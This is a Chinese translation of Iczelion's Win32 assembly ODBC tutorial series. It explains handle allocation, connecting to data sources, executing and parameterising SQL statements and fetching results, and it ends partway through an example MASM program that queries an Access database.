ODBC APIs 使用很简单,但你需要知道一些关于SQL和数据库的知识。例如字段(field),主键(primary key),记录(record),列(column),行(row)等。我须假定你已知道数据库理论的一些基础知识,这样我才能讨论win32下用汇编语言进行ODBC编程的细节问题。正如你所看到的,ODBC 管理器试图在你的程序里隐藏实现的细节。这意味着它必须提供某些基本界面来与你的程序和ODBC驱动程序进行通讯。 由于ODBC驱动程序在某些性能方面存在着差异,因此必须存在一种方法,以使得我们的程序能够知道某个ODBC驱动程序是否支持某一特性。 ODBC定义了被称为Interface Conformance Levels的三层服务界面。第三层是核心层。任何ODBC驱动程序都要象在第一层和第二层实现功能一样实现核心层表中的所有特性。从我们的程序的眼光来看, ODBC APIs被分割为这样的三层。如果某个函数被标为核心的，就意味着你可放心使用而不必担心它是否为你正使用的ODBC驱动程序支持。如果它是一个第一层或第二层的函数,你就得确认ODBC驱动程序是否支持，然后再使用。你可通过MSDN获得ODBC APIs的详细资料。

在编写代码之前你应了解一些ODBC的名词。

  • 环境(Environment). 和字面意思一样,是一个全局文本用来存取数据。如果你熟悉DAO的话,你可把它想象为一个workspace。它包含应用于所有ODBC session的信息，例如一个session的connections句柄。在用ODBC之前你必须从环境中获得这个句柄。
  • 连接(Connection). 指定ODBC驱动程序和数据源(数据库)。你可以在同一环境中同时连接不同的数据库
  • 语句(Statement). ODBC使用SQL作为自己的语言。 因而只要简单的认为语句就是你希望ODBC执行的SQL命令就行了。

以下是使用ODBC编程的一般步骤:

  1. 连接数据源
  2. 创建并执行一条或多条SQL语句
  3. 检查结果记录(如果有的话)
  4. 断开数据源

在接下来的教程中我们来学习如何来实现这几步。

[Iczelion's Win32 Assembly Homepage]

[由orochi于2000年8月1日翻译]


ODBC Programming Tutorial:连接数据源

连接数据源

本教程中，我们将学习使用ODBC APIs的细节.

因为我们的程序并不与ODBC驱动程序直接通信，而是通过ODBC管理器来定义一系列APIs供你的程序调用以完成工作，所以我们需要包含odbc32.inc和odbc32.lib文件，当然还有windows.inc。

连接数据源需要以下几步:

  1. 分配一个环境句柄(environment handle). 在进行每个ODBC任务(session)时仅需这样做一次.一旦获得了句柄,我们就可修改环境属性来适合我们的需要。你可以把这想象为在DB工作中创建一个workspace.
  2. 确认将使用的ODBC的版本. 你可在ODBC 2.x版和3.x版间选择.他们在很多方面存在不同，因此本步骤是必须的以使得ODBC管理器它将用何种语法与用户程序通讯，及如何解释用户程序的命令.
  3. 分配一个连接句柄.这个步骤可看作创建一个空连接.我们还没有指定使用那一个驱动程序，连接那一个数据库.这些信息将在稍后来写入.
  4. 建立一个连接.可通过调用ODBC函数来建立连接.

当连接完成时，必须通过以下步骤来关闭和销毁它:

  1. 断开与数据源的连接.
  2. 释放连接句柄.
  3. 释放环境句柄 (如果不再需要在这个环境中作更多连接)

分配一个句柄

在ODBC 3.x版本以前,我们需要调用很多独立的函数来分配环境、连接和语句句柄(SQLAllocEnv, SQLAllocConnect, SQLAllocStmt).而在ODBC 3.x中, 这些函数被SQLAllocHandle所代替，语法如下:

SQLRETURN SQLAllocHandle( SQLSMALLINT HandleType,
                                         SQLHANDLE InputHandle,
                                         SQLHANDLE * OutputHandlePtr
                                       );

看上去挺麻烦，简化一下看看：

SQLAllocHandle proto HandleType:DWORD,
                                    InputHandle:DWORD,
                                    OutputHandlePtr:DWORD

SQLRETURN 被定义为SQLSMALLINT类型.而 SQLSMALLINT被定义为短整型,例如一个字(16 bits). 所以该函数的返回值在ax中,而不是 eax. 这是很重要的.但是Win32下函数的参数是通过32位堆栈来传送的.即使这个参数只是一个字长(16位)，它也应被扩展为32位.这就是为什么HandleType被说明为双字(dword)而不是字(word).看一下导入库 odbc32.lib，SQLAllocHandle的入口是_SQLAllocHandle@12. 就是说这个函数的参数的组合长度为12字节(3 dwords).然而，这不是说C函数的原型不对. SQLAllocHandle会只用HandleType的底位字并忽略高位字.因此C函数原型是功能上(functionally)正确而我们的汇编函数原型反映了实际.

结束了SQL类型的讨论，我们来看一看函数的参数和返回值。.

  • HandleType 是一个常数，定义了希望分配的句柄类型.可能值如下:
SQL_HANDLE_ENV | 环境句柄(Environment handle)
SQL_HANDLE_DBC | 连接句柄(Connection handle)
SQL_HANDLE_STMT | 语句句柄(Statement handle)
SQL_HANDLE_DESC | 描述符句柄(Descriptor handle)

描述符是一个数据集合描述了一个SQL语句的参数或一个结果集的列数, 视应用程序或驱动程序而定。

  • InputHandle 是指向父"文本"的句柄.就是说,如果你想分配一个连接句柄, 需要通过一个环境句柄因为连接将在那个环境的文本中建立.如果你想分配一个环境句柄,这个参数必须为SQL_HANDLE_NULL (注意SQL_HANDLE_NULL在windows.inc版本1.18及其以前版本中被不正确的定义为0L.你需要删除掉"L"否则程序不会被编译通过.这是我的错，因为我负责修订windows.inc中的 SQL/ODBC部分.) 因为环境没有父文本.对于语句和描述符句柄，我们需要将连接句柄作为这个参数。
  • OutputHandlePtr 如果调用成功，将指向一个双字，其中包含了被分配的句柄.

SQLAllocHandle 可能的返回值如下:

SQL_SUCCESS | 函数成功完成.
SQL_SUCCESS_WITH_INFO | 函数成功完成，但带回非致命错误或警告.
SQL_ERROR | 函数调用失败.
SQL_INVALID_HANDLE | 传送给函数的句柄非法.

无论函数的调用成功还是失败，我们都可通过调用SQLGetDiagRec或SQLGetDiagField函数来获得更多的信息.它们与Win32 API中的GetLastError很相似.

例子:

.data?
hEnv dd ?

.code
invoke SQLAllocHandle, SQL_HANDLE_ENV, SQL_HANDLE_NULL, addr hEnv
.if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO

选择ODBC的版本

分配完环境句柄后,我们需要设置一个环境属性SQL_ATTR_ODBC_VERSION以适当的值.设置环境属性可通过调用函数SQLSetEnvAttr.你也许猜到了，还有类似的函数如 SQLSetConnectAttr和SQLSetStmtAttr. SQLSetEnvAttr原型如下:

SQLSetEnvAttr proto EnvironmentHandle:DWORD,
                                   Attribute:DWORD,
                                   ValuePtr:DWORD,
                                   StringLength:DWORD
  • EnvironmentHandle. 与字面意思一样, 它包含了要设置属性的环境句柄.
  • Attribute. 这是一个常数，表示用户需要设置的属性.对我们而言,是SQL_ATTR_ODBC_VERSION.可以从MSDN中查看全部列表.
  • ValuePtr. 这个参数的意义由希望设置的属性值决定.如果属性值是32位的, 这个参数将被认为是想要设置的属性值.如果属性值是一个字符串或二进制缓冲区,它就被解释为指向字符串或缓冲区的指针.如果我们指定了要设置的属性为SQL_ATTR_ODBC_VERSION, 这个参数我们可以填入SQL_OV_ODBC3和SQL_OV_ODBC2这两个可能值,分别对应ODBC 3.x和2.x.
  • StringLength. 由ValuePtr指向的值的长度. 如果这个值是字符串或二进制缓冲区,这个参数一定是合法的. 如果想设置的属性是一个双字，这个参数被忽略.因为 SQL_ATTR_ODBC_VERSION属性包含一个双字的值,我们可以只给它赋为NULL.

这个函数的返回值与SQLAllocHandle相同.

例子:

.data?
hEnv dd ?

.code
invoke SQLAllocHandle, SQL_HANDLE_ENV, SQL_HANDLE_NULL, addr hEnv
.if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO
invoke SQLSetEnvAttr, hEnv, SQL_ATTR_ODBC_VERSION, SQL_OV_ODBC3, NULL
.if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO

分配连接句柄

这一步与分配环境句柄相似，我们可以通过调用SQLAllocHandle函数并赋以不同的参数值来完成.

例子:

.data?
hEnv dd ?
hConn dd ?

.code
invoke SQLAllocHandle, SQL_HANDLE_ENV, SQL_HANDLE_NULL, addr hEnv
.if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO
invoke SQLSetEnvAttr, hEnv, SQL_ATTR_ODBC_VERSION, SQL_OV_ODBC3, NULL
.if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO
invoke SQLAllocHandle, SQL_HANDLE_DBC, hEnv, addr hConn
.if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO

建立一个连接

我们现在要通过特定的ODBC驱动程序来连接数据源.通过这三个ODBC函数来达成这个目标.它们为我们提供了好几层"选择".

SQLConnect | Core | 这是最简单的函数。它只需要数据源名(DSN,Data source name)和可选的用户名和密码.它不提供任何GUI选项例如向用户显示一个对话框来提供更多信息。如果你已经有了需要使用的数据库的DSN就可以使用这个函数.
SQLDriverConnect | Core | 这个函数提供了较SQLConnect更多的选择.我们可以连接一个没有在系统信息内定义的数据源。如没有DSN.另外,我们可以指定这个函数是否需要显示一个对话框来为用户提供更多信息.例如,如果用户遗漏了数据库的名字,它会指导ODBC驱动程序显示一个对话框，让用户来选择想连接的数据库.
SQLBrowseConnect | Level 1 | 这个函数允许在运行时(RunTime)枚举数据源.比SQLDriverConnect更加灵活。因为可以多次顺序调用SQLBrowseConnect，而每次提供给使用者更多的专用信息直到最后获得需要的连接句柄.

我将先检查SQLConnect函数.要使用 SQLConnect,你应先知道什么是DSN. DSN是数据源名(Data Source Name)的缩写,是一个唯一标识某数据源的字符串。一个DSN标识了一个包含了如何连接某一特定的数据源的信息的数据结构.这个信息包括要使用何种ODBC驱动程序及要连接哪个数据库.我们可以通过控制面板中的32位ODBC数据源来创建、修改及删除DSN.

SQLConnect的语法如下:

SQLConnect proto ConnectionHandle:DWORD
                              pDSN:DWORD,
                              DSNLength:DWORD,
                              pUserName:DWORD,
                              NameLength:DWORD,
                              pPassword:DWORD,
                              PasswordLength:DWORD
  • ConnectionHandle. 要使用的连接句柄.
  • pDSN. 指向DSN的指针.
  • DSNLength. DSN的长度
  • pUserName. 指向用户名的指针
  • NameLength. 用户名的长度
  • pPassword. 指向该用户名所使用密码的指针
  • PasswordLength. 密码的长度

在最小情况下, SQLConnect 需要连接句柄,DSN和DSN的长度。如果数据源不需要的话，用户名和密码就不是必须的.函数的返回值与SQLAllocHandle的返回值相同.

假设我们的系统中有一个叫做"Sales" 的DSN并且我们想连接这个数据源.我们可以这样做:

.data
DSN db "Sales",0

.code
......
invoke SQLConnect, hConn, addr DSN, sizeof DSN,0,0,0,0

SQLConnect 的缺点是：在连接一个数据源之前,我们必须创建它的DSN. SQLDriverConnect 提供了更大的灵活性.它的语法如下:

SQLDriverConnect proto ConnectionHandle:DWORD,
                                        hWnd:DWORD,
                                        pInConnectString:DWORD,
                                        InStringLength:DWORD,
                                        pOutConnectString:DWORD,
                                        OutBufferSize:DWORD,
                                        pOutConnectStringLength:DWORD,
                                        DriverCompletion:DWORD
  • ConnectionHandle 连接句柄
  • hWnd 应用程序窗口句柄.如果这个参数被置为NULL,驱动程序将不会为用户显示一个对话框来显示更多信息(如果有的话).
  • pInConnectString 指向连接字符串的指针. 这是一个ASCIIZ字符串,格式由要连接的具体ODBC驱动程序描述.它描述了驱动程序名、数据源及其他附加属性.连接字符串的具体描述请参见MSDN，这里不再细述.
  • InStringLength 连接字符串的长度.
  • pOutConnectString 指向将要被填入完整连接字符串的缓冲区的指针.这个缓冲区将至少有1,024字节长.这听上去使人困惑。事实上，我们提供的连接字符串会不完整，这时，ODBC驱动程序会提示用户更多信息.接下来ODBC驱动程序会根据所有可能的信息创建一个完整的连接字符串并将其放入缓冲区。即使我们提供的连接字符串已经可以工作了，这个缓冲区也会填入更多的属性值.这个参数的目的是我们可以保存完整连接字符串来为接下来的连接做准备。
  • OutBufferSize 由pOutConnectString指向的缓冲区的长度.
  • pOutConnectStringLength 指向一个双字的指针，用来接收由ODBC驱动程序返回的完整连接字符串的长度。
  • DriverCompletion 一个标志用来指示ODBC管理器/驱动程序是否将提示用户更多信息.但是,这个标志取决于是否在调用本函数时传送了hWnd 参数一个窗口句柄。如果没有,即使该标志被设置，ODBC管理器/驱动程序也不会提示用户.可能值如下：
    SQL_DRIVER_PROMPT | ODBC驱动程序提示用户输入信息。驱动程序将利用这些信息来创建连接字符串.
    SQL_DRIVER_COMPLETE
    SQL_DRIVER_COMPLETE_REQUIRED     		仅当用户提供的连接字符串不完全时， ODBC驱动程序才会提示用户.
    SQL_DRIVER_NOPROMPT | ODBC驱动程序将不会提示用户.

例子:

.data
strConnect db "DBQ=c:\data\test.mdb;DRIVER={Microsoft Access Driver (*.mdb)};",0

.data?
buffer db 1024 dup(?)
OutStringLength dd ?

.code
.....
invoke SQLDriverConnect, hConn, hWnd, addr strConnect, sizeof strConnect, addr buffer, sizeof buffer, addr OutBufferLength, SQL_DRIVER_COMPLETE

断开与数据源的连接

在连接顺利完成后,我们就可以对数据源进行查询及其他操作.这些将在下一节讨论.现在假设我们已完成了对数据源的操作，就可以通过调用SQLDisconnect来断开与它的连接. 这个函数非常简单(就象那悲伤而冷酷的现实：毁灭总比创造容易的多).它只需要一个参数：连接句柄。

invoke SQLDisconnect, hConn

释放连接与环境句柄

在顺利地断开连接后,我们现在可以调用SQLFreeHandle函数来销毁连接句柄和环境句柄. 这是由ODBC 3.x提供的新函数.它替代了SQLFreeConnect, SQLFreeEnv及SQLFreeStmt函数. SQLFreeHandle语法如下:

SQLFreeHandle proto HandleType:DWORD, Handle:DWORD
  • HandleType 标识要销毁句柄的类别的常数.可能值与 SQLAllocHandle中相同
  • Handle要销毁的句柄.

For example:

invoke SQLFreeHandle, SQL_HANDLE_DBC, hConn
invoke SQLFreeHandle, SQL_HANDLE_ENV, hEnv

[<<] [index] [>>]

[Iczelion's Win32 Assembly Homepage]

[The Chinese Portion Is Translated By Orochi ,2000.8.21 ]


ODBC Programming Tutorial:准备与使用语句

准备与使用语句

继续我们的学习,在这一章，我们来看看如何通过ODBC来操作数据源.

在上一章,我们已学习了第一步，怎样连接一个数据源。一个连接定义了用户与数据源的数据通道.它是静态的.如果要想操作数据源，我们就必须使用语句(statement).可以认为语句就是发给数据源的命令.这个"命令"必须用SQL写成.通过使用语句,我们就可以修改数据源的结构、在其中执行查询、修改及删除数据.

准备及使用语句可分为以下几个步骤:

  1. 分配一个语句句柄(statement handle)
  2. 创建SQL语句
  3. 执行语句
  4. 销毁语句

分配一个语句句柄

可以通过调用函数 SQLAllocHandle来分配一个语句句柄。例子如下：

.data?
hStmt dd ?

.code
......
invoke SQLAllocHandle, SQL_HANDLE_STMT, hConn, addr hStmt

创建SQL语句

这部分你就得靠自己了你必须知道SQL的语法.比如说,当你想创建一个表时，你就得知道CREATE TABLE语句.

执行语句

执行语句有四种方法,由它们是否被数据库引擎编译过（准备好）及被怎样定义有关.

直接执行(Direct Execution) | 由用户程序定义SQL语句.语句在运行时(runtime)被编译并执行.
编译执行(Prepared Execution) | 也是由用户程序定义SQL语句，但编译和执行被分为两步：首先SQL被准备好(被编译)，接下来被执行.通过这种方法,我们可以只编译SQL语句一次但执行相同的语句多次以节省时间.
存储过程(Procedures) | SQL语句被编译并存放在数据源内，用户程序可以在运行时调用这些语句.
目录(Catalog) | SQL被硬编码(hardcoded)在ODBC驱动程序内. 目录函数的目的是返回预定义的结果集例如数据库中的所有表名. 总的来说,目录函数用来获得数据源的信息的用户程序可以在运行时调用它们.

这四种方法各有优缺点.当你只运行某一SQL语句一次时，直接执行是一个很好的选择；如果你要经常运行某一语句,则应首选编译执行因为SQL语句仅在第一次运行时被编译，在接下来的运行中，它将运行更快，因为已被编译过了；存储过程是注重速度的最佳选择，因为它已被编译过并存放在数据源中了。缺点是并不是所有的数据存储都支持存储过程.目录主要是是用来获得数据源结构的一些信息。

在本章中,我们主要看一下直接执行和编译执行，因为它们是由我们的程序来完成的.编写存储过程是DBMS(数据库管理系统)的事.而目录将在稍后讨论.

直接执行

要直接并快速执行SQL语句,以如下语法调用函数SQLExecDirect:

SQLExecDirect proto StatementHandle:DWORD,
                                  pStatementText:DWORD,
                                  TextLength:DWORD
  • StatementHandle. 要使用的语句句柄
  • pStatementText. 指向要执行的SQL语句的指针
  • TextLength. SQL语句的长度.

可能的返回值如下:

SQL_SUCCESS | 操作顺利
SQL_SUCCESS_WITH_INFO | 操作顺利但可能产生非致命错误
SQL_ERROR | 操作失败
SQL_INVALID_HANDLE | 使用的语句句柄非法
SQL_NEED_DATA | 如果在执行SQL语句前没有提供足够的参数将会获得这个返回值.这时需调用SQLParamData 或 SQLPutData函数来提交参数.
SQL_NO_DATA | 如果SQL语句不返回结果集，例如只是一个查询动作,将获得这个返回值。使用户知道动作成功，但没有结果集被返回。
SQL_STILL_EXECUTING | 如果异步执行SQL语句, SQLExecDirect 会立刻返回这个值,表明语句正在执行。在通常情况下，如果你使用的一个多线程操作系统，异步执行是一个好主意。如果你希望异步执行,旧可以通过SQLSetStmtAttr来设置语句属性。

例子:

.data
SQLStmt db "select * from Sales",0

.data?
hStmt dd ?

.code
.....
 invoke SQLAllocHandle, SQL_HANDLE_STMT, hConn, addr hStmt
.if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO
invoke SQLExecDirect, hStmt, addr SQLStmt, sizeof SQLStmt

编译执行

SQL的执行被分为两步：第一步，必须通过调用函数SQLPrepare来*准备*语句。第二步,通过调用SQLExecute函数来执行语句.在使用编译执行时,我们可以多次调用SQLExecute来执行同一语句. 结合使用SQL参数,这个方法对执行同一语句极为有效。

SQLPrepare 与SQLExecDirect使用相同的三个参数，所以这里不再写出函数原型。 SQLExecute 语法:

SQLExecute proto StatementHandle:DWORD

只须这一个参数,我想不再需要解释了;)

例子:

.data
SQLStmt db "select * from Sales",0

.data?
hStmt dd ?

.code
.....
 invoke SQLAllocHandle, SQL_HANDLE_STMT, hConn, addr hStmt
.if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO
invoke SQLPrepare, hStmt, addr SQLStmt, sizeof SQLStmt
invoke SQLExecute, hStmt

你也许会想，编译执行没什么强于直接执行的。上面的例子还不明显。 我们需要知道SQL语句的参数来仔细研究它。

语句参数(Statement Parameters)

这里的参数是指由SQL语句使用的变量.比如说我们有一个叫做 "employee"的表，它有三个字段："name", "surname"和 "TelephoneNo" 。现在我们要找一个叫做"Bob"的职员的电话号码, 就可以使用以下SQL语句：

select telephoneNo from employee where name='Bob'

这条SQL语句象我们希望的那样工作了。但是，如果我们又想找另一个职员的电话号码怎么办？如果不使用参数,那只好再写一条SQL语句，然后再一次编译、执行它。

现在我们不会允许这种低效率的行为了。我们可以使用参数来实现目标。在上面的例子中，我们必须将字符串/值替换为 '?' (被称为参数标志符(parameter marker)).SQL 语句将变成这样:

select telephoneNo from employee where name=?

现在想一下这个问题:ODBC驱动程序如何知道用什么值来替换参数标志符'?'?答案是: 我们必须提供需要的值.这种方法被称为参数绑定(parameter binding).简单点说,就是将一个参数标志符与用户程序中的变量建立连接的过程.在上面的例子中,我们需要创建一个缓冲区来告诉ODBC驱动程序，当它需要一个参数的具体值时，将从我们提供的字符串缓冲区中获得。一旦一个参数与一个变量绑定,它将一直保持绑定，直到被绑定到另一变量，或直到所有参数都被函数 SQLFreeStmt以(函数)参数 SQL_RESET_PARAMS释放，或直到该语句被释放.

将一个参数绑定到一个变量是通过调用函数 SQLBindParameter实现，语法如下:

  • SQLBindParameter proto StatementHandle:DWORD,
                                             ParameterNumber:DWORD,
                                             InputOutputType:DWORD,
                                             ValueType:DWORD,
                                             ParameterType:DWORD,
                                             ColumnSize:DWORD,
                                             DecimalDigits:DWORD,
                                             ParameterValuePtr:DWORD,
                                             BufferLength:DWORD,
                                             pStrLenOrIndPtr:DWORD
  • StatementHandle 语句句柄
  • ParameterNumber 参数个数，由1开始。这就是ODBC用来判断参数描述符的方法。如果有三个参数，则最左边是第一个参数，最右边是第三个参数。
  • InputOutputType 表明参数是用来输入还是输出的标志.这里的输入是指ODBC驱动程序将使用参数中获得的值，输出是指ODBC驱动程序将在操作结束时将结果放入参数中.大多数情况下,我们使用参数作为输入。而输出参数经常与存储过程有关.这个参数的两个可能值为: SQL_PARAM_INPUT、 SQL_PARAM_INPUT_OUTPUT和SQL_PARAM_OUTPUT(译者:似应为三个参数，但原文如此)
  • ValueType 指明用户程序将要绑定到参数的值或缓冲区的类型。可能的类型为一组常数，以SQL_C_开头。
  • ParameterType 参数的SQL类型。例如,如果SQL参数是文本字段,我们就在这里填入值SQL_CHAR.查看MSDN中的ODBC程序员指南来获得完整列表(ODBC Programmer's reference)。
  • ColumnSize 参数的长度。换句话说，可认为是与参数标志符相连接的列(字段)的长度.在我们的例子中, 我们的参数标志符对列"name"使用了标准值.如果该列被定义了20字节长,我们就该在ColumnSize中填入20.
  • DecimalDigits 与参数描述符连接的列的小数位.
  • ParameterValuePtr 指向包含参数数据的缓冲区的指针.
  • BufferLength 由ParameterValuePtr指向的缓冲区的长度.
  • pStrLenOrIndPtr 指向一个双字的指针，包含以下之一:
    • 由ParameterValuePtr指向的缓冲区中包含的参数长度. 除非参数的类型是字符串或二进制值，否则这个值被忽略.别把它与BufferLength混淆，看一下这个例子就会明白：假设该参数是一个字符串，该列有20字节宽.所以我们分配了一个21字节长的缓冲区，并将其地址传送到ParameterValuePtr。在调用函数SQLExecute前, 我们在缓冲区中放入了字符串"Bob".这个字符串有3字节长，因此我们需要在pStrLenOrIndPtr指向的双字中放入3这个值.
    • SQL_NTS. 这个参数是一个0结尾字符串(null-terminated string).
    • SQL_NULL_DATA. 参数值为NULL.
    • SQL_DEFAULT_PARAM. 存储过程将使用参数的默认值,而不是从用户程序中获得的值. 它仅适用于已定义了默认参数值的存储过程.
    • SQL_DATA_AT_EXEC. 参数的数据将由SQLPutData传送. 由于数据可能太大无法放入内存(比如整个文件的数据),我们可以告诉ODBC驱动程序我们将用SQLPutData替代.

      可能你会说 pStrLenOrIndPtr的参数太多了,但通常情况下，我们只会用到第一或第三个选项。

例子:

.data
SQLString db "select telephoneNo from employee where name=?",0
Sample1 db "Bob",0
Sample2 db "Mary",0

.data?
buffer db 21 dup(?)
StrLen dd ?

.code
........
invoke SQLPrepare, hStmt, addr SQLString,sizeof SQLString
invoke SQLBindParameter, hStmt, 1, SQL_PARAM_INPUT, SQL_C_CHAR, SQL_CHAR, 20, 0, addr buffer, sizeof buffer, addr StrLen
;===========================================
; First run
;===========================================
invoke lstrcpy, addr buffer, addr Sample1
mov StrLen, sizeof Sample1
invoke SQLExecute, hStmt
;===========================================
; Second run
;===========================================
invoke lstrcpy, addr buffer, addr Sample2
mov StrLen, sizeof Sample2
invoke SQLExecute, hStmt

注意我们仅将参数与缓冲区仅绑定了一次，当我们修改了缓冲区的内容并调用了SQLExecute 很多次.不必再调用SQLPrepare.ODBC驱动程序知道去那里找它需要的参数因为已通过SQLBindParameter函数告诉了它.

但现在我们还不能获得查询结果.访问和适用结果集是下一章的内容。

假设我们已完成了很多SQL语句，并要执行一个新的语句，那么没必要重新分配一个语句句柄.只要使用SQL_UNBIND与SQL_RESET_PARAMS参数调用SQLFreeStmt函数来解除与参数的绑定就可以了. 接下来就可以接着使用原来的语句句柄来执行SQL语句了.

释放语句

由调用SQLFreeHandle函数实现.

  • 译注：原标题为Preparing and Using Statements,因为ODBC驱动程序繁多，有解释、编译执行之分，所以Preparing不仅是指准备，也有预编译的意思。
  • 另:关于作者提到的MSDN,其ODBC部分可在Visual Studio及其部件中找到，如
    C:\program Files\DevStudio\SharedIDE\Help\ODBC.hlp.

    [<<] [index] [>>]

    [Iczelion's Win32 Assembly Homepage]

    [The Chinese Portion Is Translated By Orochi ,2000.8.23]


ODBC Programming Tutorial: 检索结果

获得结果

在本章中,我们来学习如何获得SQL语句的执行结果。

我们称由查询返回的一组记录为一个 结果集(result set) (或在VB中被称为recordset).检索结果通常分为以下几个步骤:

  1. 确认一个结果集是否可用。
  2. 将结果集的列绑定在适当的变量上。
  3. 取得行

完成对结果集的操作后,我们必须调用SQLCloseCursor来销毁它.

确认一个结果集是否可用

有时在执行SQL语句后，我们就已经知道结果集是否可用了。如果执行的语句并不是返回结果集的类型,我们就知道结果集不可用了。但有时我们不太清楚使用的SQL语句是什么类型，比如说，让用户自行输入SQL语句。这时，我们必须确认是否有结果集被建立，这可以通过SQLNumResultCols函数实现。如果结果集存在，则该函数返回结果集中的列数(字段数)。语法如下:

SQLNumResultCols proto StatementHandle:DWORD, pNumCols:DWORD
  • StatementHandle 语句句柄
  • pNumCols 指向一个双字的指针，其中包含了结果集的列数。

如果 pNumCols指向的值为0,那么表明结果集不存在。

绑定列

与绑定一个变量到SQL语句的参数相同,我们连接(绑定)一个变量到结果集中的某一列。这里要用到的函数是SQLBindCol，语法如下:

SQLBindCol proto StatementHandle:DWORD,
                            ColumnNumber:DWORD,
                            TargetType:DWORD,
                            TargetValuePtr:DWORD,
                            BufferLength:DWORD,
                            pStrLenOrIndPtr:DWORD
  • StatementHandle 语句句柄
  • ColumnNumber 结果集中要绑定的列序数.列序数从1开始.列0是书签(bookmark)列.
  • TargetType The 指示 TargetValuePtr指向的变量(缓冲区)的类型的常数。
  • TargetValuePtr 指向将要捆绑到列的变量或缓冲区的指针。当调用SQLFetch来获得结果集中的行时,本参数指向的变量或缓冲区将被填入被绑定的列的值。
  • BufferLength 由TargetValuePtr指向的缓冲区的长度。
  • pStrLenOrIndPtr 参见前章SQLBindParameter

例子:

.data?
buffer db 21 dup(?)
DataLength dd ? ;调用SQLFetch后，被填入缓冲区的字符串的长度

.code
.....
invoke SQLBindCol, hStmt, 1, SQL_C_CHAR, addr buffer, 21, addr DataLength

取得一行

非常简单.先调用SQLFetch 检索结果集的一列到绑定的变量中。当SQLFetch调用完成,游标(cursor)被更新(updated).可以认为游标就是一个记录指针(record pointer). 它指明了SQLFetch调用后将返回哪一行。比如说,如果结果集有4列，当结果集建立时，游标指向第一行.当调用了SQLFetch 后,游标被加1。所以如果调用了SQLFetch 4次,就没有更多的行可被提交了。游标会显示指向文件尾(EOF). SQLFetch语法如下:

SQLFetch proto StatementHandle:DWORD

当没有行可提交时，这个函数返回 SQL_NO_DATA.

例子:

.data?
buffer db 21 dup(?)
DataLength dd ?

.code
.....
invoke SQLBindCol, hStmt, 1, SQL_C_CHAR, addr buffer, 21, addr DataLength
invoke SQLFetch, hStmt

译者废话:还记得地球的经纬吗?我们通过SQLBindCol来定位经度(列),用游标来定义纬度(行),用SQLFetch来获得坐标，而结果集就是地球。大航海时代２的同好们不应忘记呀!(船长,我们找不到水......顺便问一句,这是地球吗%$#@&*^:-)

[<<] [index] [>>]

[Iczelion's Win32 Assembly Homepage]

[The Chinese Portion Is Translated By Orochi ,2000.8.24]


ODBC Programming Tutorial:一个例子

一个例子

这一章,我们要把我们已学的知识集合起来。具体来讲,我们来写一个使用ODBC APIs的程序.为简单起见,这个程序中我使用Microsoft的Access数据库(Microsoft Access 97) .

下载例子源程序.

注意:如果你使用的windows.inc 是1.18及其以下版本,在开始编译之前要修改其中的一个小bug.在windows.inc中查找 "SQL_NULL_HANDLE"，将得到下面这行:

SQL_NULL_HANDLE equ 0L

将0后面的"L"删除,象这样:

SQL_NULL_HANDLE equ 0

这个程序是一个基于对话框的程序，有一个简单的菜单.当用户选择"connect"时,它将试图连接test.mdb数据库,如果连接成功,将显示由ODBC驱动程序返回的完整连接字符串.接下来,用户可选择"View All Records"命令,程序会使用listview control来显示数据库中的所有数据.用户还可以选择"Query"命令来查询特定的记录.例子程序将会显示一个小对话框提示用户输入想找的人名.当用户按下OK钮或回车键,程序将执行一个查询来查找符合条件的记录.当用户完成对数据库的操作时,可以选择"disconnect"命令与数据库断开连接.

现在看一下源程序:

.386
.model flat,stdcall
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\odbc32.inc
include \masm32\include\comctl32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\odbc32.lib
includelib \masm32\lib\comctl32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib

IDD_MAINDLG equ 101
IDR_MAINMENU equ 102
IDC_DATALIST equ 1000
IDM_CONNECT equ 40001
IDM_DISCONNECT equ 40002
IDM_QUERY equ 40003
IDC_NAME equ 1000
IDC_OK equ 1001
IDC_CANCEL equ 1002
IDM_CUSTOMQUERY equ 40004
IDD_QUERYDLG equ 102

DlgProc proto hDlg:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
QueryProc proto hDlg:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
SwitchMenuState proto :DWORD
ODBCConnect proto :DWORD
ODBCDisconnect proto :DWORD
RunQuery proto :DWORD

.data?
hInstance dd ?
hEnv dd ?
hConn dd ?
hStmt dd ?
Conn db 256 dup(?)
StrLen dd ?
hMenu dd ? ; 主菜单句柄
hList dd ? ; listview control句柄
TheName db 26 dup(?)
TheSurname db 26 dup(?)
TelNo db 21 dup(?)
NameLength dd ?
SurnameLength dd ?
TelNoLength dd ?
SearchName db 26 dup(?)
ProgPath db 256 dup(?)
ConnectString db 1024 dup(?)

.data
SQLStatement db "select * from main",0
WhereStatement db " where name=?",0
strConnect db "DRIVER={Microsoft Access Driver (*.mdb)};DBQ=",0
DBName db "test.mdb",0
ConnectCaption db "Complete Connection String",0
Disconnect db "Disconnect successful",0
AppName db "ODBC Test",0
AllocEnvFail db "Environment handle allocation failed",0
AllocConnFail db "Connection handle allocation failed",0
SetAttrFail db "Cannot set desired ODBC version",0
NoData db "You must type the name in the edit box",0
ExecuteFail db "Execution of SQL statement failed",0
ConnFail db "Connection attempt failed",0
AllocStmtFail db "Statement handle allocation failed",0
Heading1 db "Name",0
Heading2 db "Surname",0
Heading3 db "Telephone No.",0

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
call GetProgramPath
invoke DialogBoxParam, hInstance, IDD_MAINDLG,0,addr DlgProc,0
invoke ExitProcess,eax
invoke InitCommonControls
DlgProc proc hDlg:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
.if uMsg==WM_INITDIALOG
invoke GetMenu, hDlg
mov hMenu,eax
invoke GetDlgItem, hDlg, IDC_DATALIST
mov hList,eax
call InsertColumn
.elseif uMsg==WM_CLOSE
